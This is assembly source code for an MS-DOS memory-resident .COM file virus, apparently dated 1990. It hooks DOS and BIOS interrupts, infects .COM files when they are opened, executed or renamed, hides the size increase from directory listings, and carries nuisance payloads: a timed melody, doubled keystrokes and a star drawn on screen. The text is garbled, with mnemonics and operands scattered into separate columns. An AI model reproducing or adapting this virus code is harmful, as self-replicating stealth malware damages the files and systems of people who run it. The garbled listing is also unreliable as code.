title
hacker .model tiny .code
notoper macro push db endm org start100: start: call lea mov int int a: db ;
cs 0fh 100h beginv ; dx,a ah,9 21h 20h 'hacker corp. presents',0ah,0dh,'$' virus body
first_part proc far loadpart label near ; lambada freq,delay hello db 'hackers all countrys, united !' melody equ this word dw 1318,9, 1174,4, 1046,4, 987,4, 880,9, 880,4, 1046,4, 987,4, 880,4, 783,4 dw 880,4, 659,4, 587,4, 659,36, 1318,9, 1174,4, 1046,4, 987,4, 880,18, 880,4 dw 1046,4, 987,4, 880,4, 783,4, 880,4, 659,4, 587,4, 659,36, 1174,4, 1174,4 dw 1174,4, 1046,4, 698,9, 698,4, 783,4, 1318,9, 1174,4, 1046,4, 698,9, 880,4 dw 523,4, 987,9, 880,4, 783,4, 783,9, 880,4, 783,4, 698,36, 1174,4, 1174,4 dw 1174,4, 1046,4, 698,9, 698,4, 783,4, 1318,9, 1174,4, 1046,4, 698,9, 880,4 dw 1046,4, 987,9, 880,4, 783,4, 783,9, 1046,4, 1174,4, 1046,4, 987,4, 880,4 dw 0 ;finish melody my_name db 'bad equipment.',0 beginv label near cld sti pop di sub di,3h notoper call thisadr thisadr label near pop bp push cs mov cx,100h push cx lea si,[bp](offset save-offset thisadr) movsw movsb push cs pop ds mov ah,2ah int 21h cmp dh,[bp](offset month-offset thisadr) je exitproc mov byte ptr [bp](offset month-offset thisadr),dh mov word ptr [bp](offset year-offset thisadr),cx ;
; ;
;
mov int
ax,0faceh 21h
cmp je
ax,0faceh exitproc
mov dec mov
bx,es bx es,bx
;es> mcb
cmp byte ptr es:[0000],'z' ; last block je ok exitproc: ret ok: mov ax,cs:[0002] sub ax,(my_size_mem + 100h)/16 + 1 mov cs:[0002],ax ; mov ax,es:[0003] sub ax,(my_size_mem + 100h)/16 + 1 mov es:[0003],ax ;;;;;; stc adc ax,bx ; mov es,ax ; mov cx,my_size lea si,[bp](offset loadpart-offset thisadr) mov di,offset loadpart rep movsb ; mov si,offset next push es push si push cs pop es ret ; this work in other segment next: first_part endp ; two_part proc far push es push ds notoper mov ax,3521h int 21h mov word ptr cs:orig21o,bx mov word ptr cs:(orig21o+2),es push cs pop ds call find21 call find13 cmp word ptr cs:year,1992 jne cont mov cx,1
cont:
;
;
mov mov pushf call
ax,0301h dx,0080h
mov mov int
dx, offset msdos ax,2521h 21h
mov mov mov mov int mov mov mov mov int
cs:soundflag?,0h cs:addrnote,offset melody cs:soundtime,0h ax,3508h 21h word ptr cs:orig8,bx word ptr cs:(orig8+2),es dx, offset music ax,2508h 21h
mov int mov mov mov mov int
ax,3510h 21h word ptr cs:orig10,bx word ptr cs:(orig10+2),es dx,offset video ax,2510h 21h
;
mov int mov mov mov mov int mov mov pop pop ret two_part endp save db filesize dw spsave dw newthree db newaddr dw month db year dw addr dw coun db sum db attr dw data dd saveaddr dw soundtime dw addrnote dw soundflag? db
dword ptr cs:orig13
ax,3509h 21h word ptr cs:orig9,bx word ptr cs:(orig9+2),es dx,offset keyboard ax,2509h 21h byte ptr cs:coun,1h byte ptr cs:sum,6h ds es
10h dup (90h) ? ? 0e8h ? ? ? ? 1h 40h ? ? ? 0 ? 0
; ??????????????
activ?
db
0
find13
proc mov int mov mov
near ax,3501h 21h cs:word ptr (orig1),bx cs:word ptr (orig1+2),es
mov int mov mov
ax,3513h 21h cs:word ptr (orig13o),bx cs:word ptr (orig13o+2),es
;
;
mov lea mov int pushf cli pushf pop or push popf continue13:
find13
xor mov call mov mov mov int push pop ret endp
int1?13 proc push mov cmp je cont_ok13: and mov pop iret int13notfound: cmp ja pop iret this_bios: push mov mov mov
cs:byte ptr activ?,1 dx,int1?13 ax,2501h 21h
ax ax,100h ax
ah,ah dl,80h dword ptr cs:orig13o dx,cs:word ptr orig1 ds,cs:word ptr (orig1+2) ax,2501h 21h cs ds
far bp bp,sp cs:byte ptr activ?,1h int13notfound word ptr [bp+6h],0feffh cs:byte ptr activ?,0h bp word ptr [bp+4h],9fffh this_bios bp bx bx,[bp+2h] cs:word ptr orig13,bx bx,[bp+4h]
;cs > 9fffh, rom-bios
?
mov pop jmp int1?13 endp find21 proc mov int mov mov ; mov lea mov int pushf cli pushf pop or push popf continue: mov call mov mov mov int push pop ret find21 endp int1 proc push mov cmp je cont_ok: and mov pop iret int21notfound: cmp jb pop iret this_dos: push mov mov mov mov pop jmp int1 endp ; ;
cs:word ptr (orig13+2),bx bx cont_ok13 near ax,3501h 21h cs:word ptr (orig1),bx cs:word ptr (orig1+2),es cs:byte ptr activ?,1 dx,int1 ax,2501h 21h
ax ax,100h ax ah,30h dword ptr cs:orig21o dx,cs:word ptr orig1 ds,cs:word ptr (orig1+2) ax,2501h 21h cs ds far bp bp,sp cs:byte ptr activ?,1h int21notfound word ptr [bp+6h],0feffh cs:byte ptr activ?,0h bp word ptr [bp+4h],0300h this_dos bp bx bx,[bp+2h] cs:word ptr orig21,bx bx,[bp+4h] cs:word ptr (orig21+2),bx bx cont_ok
;cs < 300h, msddos ?
sizepattern db pattern ; sizepattern1 db pattern1 ; findcom proc push push push push push push ; push pop ; mov mov xor cld ; repne ; std dec mov ; push pop mov ; mov rep ; cmp je mov ; mov mov rep ; cmp je
found:
clc jmp
stc findexit: pop pop pop pop pop
equ pattern-$+2 '.com',0 equ $-1 equ pattern1-$+2 '.com',0 equ $-1 ax di si cx es ds ds es cx,0ffh di,dx al,al scasb
; eoln
di ax,di cs ds si,offset pattern cx,0ffh cmpsb cx,0ffh-sizepattern found si,offset pattern1 di,ax cx,0ffh cmpsb cx,0ffh-sizepattern1 found short findexit
ds es cx si di
<---
es:di
pop ret findcom endp ; ; ; msdos
ax
subst function msdos.
proc cmp je cmp je jmp dir: call iret notdir1112: cmp je cmp je jmp dir1: call push mov push pushf pop mov pop pop iret notdir4e4f: ; xchg cmp je cmp je cmp je cmp je cmp je xchg ; ms_dos: jmp ; ok_vir: xchg call jnc call jmp ; i_am_found: xchg iret
far ah,11h dir ah,12h dir short notdir1112 dir1112 ah,4eh dir1 ah,4fh dir1 short notdir4e4f dir4e4f bp bp,sp ax ax word ptr [bp+6],ax ax bp
ah,al al,3dh ok_vir al,4bh ok_vir al,43h ok_vir al,56h ok_vir al,0fah i_am_found al,ah dword ptr cs:orig21o al,ah findcom ms_dos write_me ms_dos al,ah
; open file or reading. ; execute programm ; change attrib ; rename
dir1112 proc push push push call push ; mov call ; xor cmp jne mov noextended: ; cmp jne cmp jne mov cmp jb sub mov notcomfile: pop pop pop pop ret dir1112 endp
near es bx si dosint ax
dir4e4f proc push push call push pushf ; mov call ; push push ; push pop mov add call ; pop pop jnc ; mov
near es bx dosint ax
ah,2fh dosint
; get dta
si,si byte ptr es:[bx],0ffh noextended si,7h
es:bx > dta
; extended fcb ? ; if no offset = 0 ; if yes offset = 7h
word ptr es:[bx+si+9],'oc' ; if a *.com file ? notcomfile byte ptr es:[bx+si+9+2],'m' ; notcomfile ax,es:[bx+si+1dh] ax,mincomsize notcomfile ax,my_size es:[bx+si+1dh],ax ax si bx es
ah,2fh dosint
; get dta
ds dx es ds dx,bx dx,1eh findcom dx ds notcomfile1 ax,es:[bx+1ah]
es:bx > dta
cmp jb sub mov notcomfile1: popf pop pop pop ret dir4e4f endp
ax,mincomsize notcomfile1 ax,my_size es:[bx+1ah],ax ax bx es
orig1 dd ? orig8 dd ? orig9 dd ? orig10 dd ? orig13 dd ? orig13o dd ? orig21 dd ? orig21o dd ? orig24 dd ? msdos endp ; ; int 21h ; dosint proc near pushf call dword ptr cs:orig21o ret dosint endp ; error_int24 proc far xor al,al iret error_int24 endp ; video proc far push ax cmp ah,00h jne videoexit push ds push cx push bp ; push cs pop ds ; mov ax,0004h pushf call dword ptr orig10 mov cx,6 mov bp,offset star drawing: call line add bp,8 loop drawing ; mov cx,0ffffh
;;;;????
orig21 ?
loopwait: mov mov loop pop pop pop videoexit: pop jmp video endp ; star dw dw dw ; dw dw dw ; line proc call mov mov mov mov mov mov mov mov ; mov mov ; mov sub jge neg neg keep_y: mov ; mov sub jge neg neg keep_x: mov cmp jge xor xchg jmp horz_seg: xor save_values: mov mov mov
ax,cx ds,ax loopwait bp cx ds ax dword ptr cs:orig10 160,50,100,150 100,150,220,150 220,150,160,50 100,80,160,180 160,180,220,80 220,80,100,80 near savereg ax,ds:[bp] word ptr start_x,ax ax,ds:[bp+2] word ptr start_y,ax ax,ds:[bp+4] word ptr end_x,ax ax,ds:[bp+6] word ptr end_y,ax cx,1 dx,1 di,end_y di,start_y keep_y dx di diagonal_y_increment,dx si,end_x si,start_x keep_x cx si diagonal_x_increment,cx si,di horz_seg cx,cx si,di save_values dx,dx short_distance,di straight_x_increment,cx straight_y_increment,dx
mov shl mov sub mov sub mov
ax,short_distance ax,1 straight_count,ax ax,si bx,ax ax,si diagonal_count,ax
;
mov cx,start_x mov dx,start_y inc si mainloop: dec si jz finished mov ah,12 mov al,color pushf call dword ptr cs:orig10 cmp bx,0 jge diagonal_line add cx,straight_x_increment add dx,straight_y_increment add bx,straight_count jmp short mainloop diagonal_line: add cx,diagonal_x_increment add dx,diagonal_y_increment add bx,diagonal_count jmp short mainloop finished: ret start_x dw 0 end_x dw 319 start_y dw 0 end_y dw 199 color db 3 diagonal_x_increment dw ? diagonal_y_increment dw ? short_distance dw ? straight_x_increment dw ? straight_y_increment dw ? straight_count dw ? diagonal_count dw ? line endp ; ; save me in com file. ; write_me proc near call savereg ; push dx push ds ; ;
push push
dx ds
mov
ax,3524h
; ;
;
;
; ;
call mov mov
dosint word ptr cs:orig24,bx word ptr cs:(orig24+2),es
push pop
cs ds
mov mov call
dx,offset error_int24 ax,2524h dosint
mov call mov mov
ax,3513h dosint word ptr cs:orig13o,bx word ptr cs:(orig13o+2),es
mov mov mov call
dx,word ptr cs:orig13 ds,word ptr cs:(orig13+2) ax,2513h dosint
pop pop
ds dx
mov call jnc jmp getattr:mov ; xor mov call jnc jmp ; openfile: mov call jnc jmp ill: mov ; push pop ; mov call mov mov ; mov mov mov call jc ; mov
reading file attr ax,4300h dosint getattr endill word ptr cs:attr,cx set file attr cx,cx ax,4301h dosint openfile endill ax,3d02h dosint ill endill bx,ax
; open file...
cs ds read date&time ax,5700h dosint word ptr data,cx word ptr (data+2),dx
file
ah,3fh dx,offset save cx,0010h dosint ;read 10h bytes in save. close1 ax,4202h
;
xor xor call jc
mov or je stc jmp notclose1: cmp ja cmp jb stc jmp read: ; call ; mov sub xor mov call close1: jc ; mov mov mov call jc ; cmp je ; mov mov sub xor call jc ; mov sub add add mov
;
cx,cx dx,dx dosint; seek to end. close1 word ptr filesize,ax ;set filesize dx,dx notclose1 short close1 ax,mincomsize read ax,maxcomsize-my_size read short close1 find_addr dx,word ptr addr dx,offset start100 ; offset begin com files. cx,cx ax,4200h dosint ;seek to (addr). close ah,3fh dx,offset save cx,3h dosint close
;read 3 bytes in save.
byte ptr save,0e8h ; call ... close ax,4200h dx,word ptr addr dx,offset start100 ; offset begin com files. cx,cx dosint ;seek to (addr). close ax,word ptr filesize ax,word ptr addr ax,(offset start100-3h) ax,(offset beginv - offset loadpart) word ptr newaddr,ax ; create "call ..."
mov mov mov call jc
ah,40h dx,offset newthree cx,0003h dosint close
mov xor
ax,4202h cx,cx
; write 3 byte.
;
;
close:
endill: ;
exit:
xor call jc
dx,dx dosint close
mov mov mov call jc
dx,offset loadpart cx,my_size ah,40h dosint close
mov mov mov call
set data file cx,word ptr data dx,word ptr (data+2) ax,5701h dosint
; seek end.
; write me...
notoper mov ah,3eh call dosint; close file pop pop
ds dx
mov mov call
ax,4301h cx,word ptr cs:attr dosint
mov mov mov call
ax,2524h dx,word ptr cs:orig24 ds,word ptr cs:(orig24+2) dosint
mov mov mov call
dx,word ptr cs:orig13o ds,word ptr cs:(orig13o+2) ax,2513h dosint
;
ret write_me endp find_addr proc call ; mov call mov mov ; lea mov call mov ; push pop cld mov mov mov
savereg ax,3501h dosint cs:word ptr (orig1),bx cs:word ptr (orig1+2),es dx,fint1 ax,2501h dosint word ptr spsave,sp cs es di,offset start si,offset save cx,10h
;
fint1
rep
movsb
pushf pop or push push mov push iret
ax ax,100h ax cs ax,offset start ax
proc mov mov
far bp,sp bx,[bp]
mov mov
word ptr cs:addr,bx sp,word ptr cs:spsave
fint1
endp mov mov mov call ret find_addr endp
dx,cs:word ptr orig1 ds,cs:word ptr (orig1+2) ax,2501h dosint
savereg proc near ; ; (c) copyrigth roman ruthman 1990. ; push ax push bx push cx push dx push si push di push es push ds ; push bp mov bp,sp call calladdr calladdr: sizecom equ contprog-calladdr add word ptr [bp-2],sizecom push [bp+12h] mov bp,[bp] ret contprog: pop bp pop ds pop es pop di pop si pop dx pop cx pop bx pop ax
add ret savereg endp myname
db
keyboard proc push push push push push push in pushf call test jne ; inc mov cmp jb ; mov mov ; mov cmp je ; cmp jae cmp jbe ; mov ; mov and mov jnp two: mov mov add jmp one: mov add savelen: mov mov mov notdrebezg: pop pop pop
sp,2
'my name is emmi,i am an eddie`s sister.' far ax bx es cx dx si al,60h dword ptr cs:orig9 al,80h notdrebezg
; unpress key ; if yes then drebezg.
byte ptr cs:coun bl,byte ptr cs:sum byte ptr cs:coun,bl notdrebezg ax,40h es,ax
; setting bios ds. 0400h:0000h
si,word ptr es:[01ch] ; addres in buffer. si,word ptr cs:saveaddr savelen si,003ah notdrebezg si,001eh notdrebezg
; ; ; ;
last word in buffer if yes then notdrebezg. first word in buffer if yes then notdrebezg.
ax,word ptr es:[si-2h]
; reading byte.
bl,byte ptr es:[006ch] bl,2fh byte ptr cs:sum,bl one
; randomize seed. ; save in sum.
word ptr es:[si],ax word ptr es:[si+2h],ax si,4h savelen
; first ... ; second ...
word ptr es:[si],ax si,2h
; first ...
word ptr es:[01ch],si byte ptr cs:coun,0h cs:saveaddr,si si dx cx
pop pop pop iret keyboard endp ; sound proc mov mov mov cmp jnb div mov in test jne or out mov out l: mov out mov out soundexit: ret sound endp ; nosound proc in and out ret nosound endp ; music proc pushf call push push push push xor mov
es bx ax
cmp je jmp sin: call cont_test: cmp je jmp nosin: call contmusic: cmp jne
word ptr ds:[46ch],0000h sin short cont_test set
;
xx:59:55
word ptr ds:[46ch],91 nosin short contmusic reset
;
xx:00:00
word ptr ds:[46ch],0000h notset
;
11:59:55
bx,ax ax,34ddh dx,12h dx,bx soundexit bx bx,ax al,61h al,3h l al,3h 61h,al al,0b6h 43h,al al,bl 42h,al al,bh 42h,al
al,61h al,0fch 61h,al
far dword ptr cs:orig8 ds ax bx dx ax,ax ds,ax
notset:
cmp jne
word ptr ds:[46eh],000ch notset
mov mov mov
cs:soundflag?,1h cs:addrnote,offset melody cs:soundtime,0h
push pop cmp je cmp jne mov mov cmp je inc inc mov mov inc inc mov call jmp
cs ds soundflag?,0 exit8 soundtime,0 dectime bx,addrnote ax,word ptr [bx] ax,0 the_end bx bx dx,[bx] soundtime,dx bx bx addrnote,bx sound short dectime
the_end:mov call dectime: dec exit8: pop pop pop pop iret music endp ; reg equ ; set proc push push ; mov mov out inc in mov out ; pop pop ret set endp ;
;
soundflag?,0 nosound soundtime dx bx ax ds
9 ax dx dx,3d4h al,reg dx, al dx al,dx al,0feh dx,al dx ax
; index register. ;
(r9)
; ; set new valure
reset ;
;
proc push push
ax dx
mov mov out inc mov out
dx,3d4h al,reg dx,al dx al,7 dx,al
pop pop ret endp
dx ax
; index register. ;
(r9)
; restore old valure
reset ; created db 'this program writen in vinnitsa, ukssr, ussr.' version_ db 'version 1.15a (c) 1990.' endv equ this word my_size equ endv-loadpart my_size_mem equ endv-start mincomsize equ 1990 maxcomsize equ 65278 end start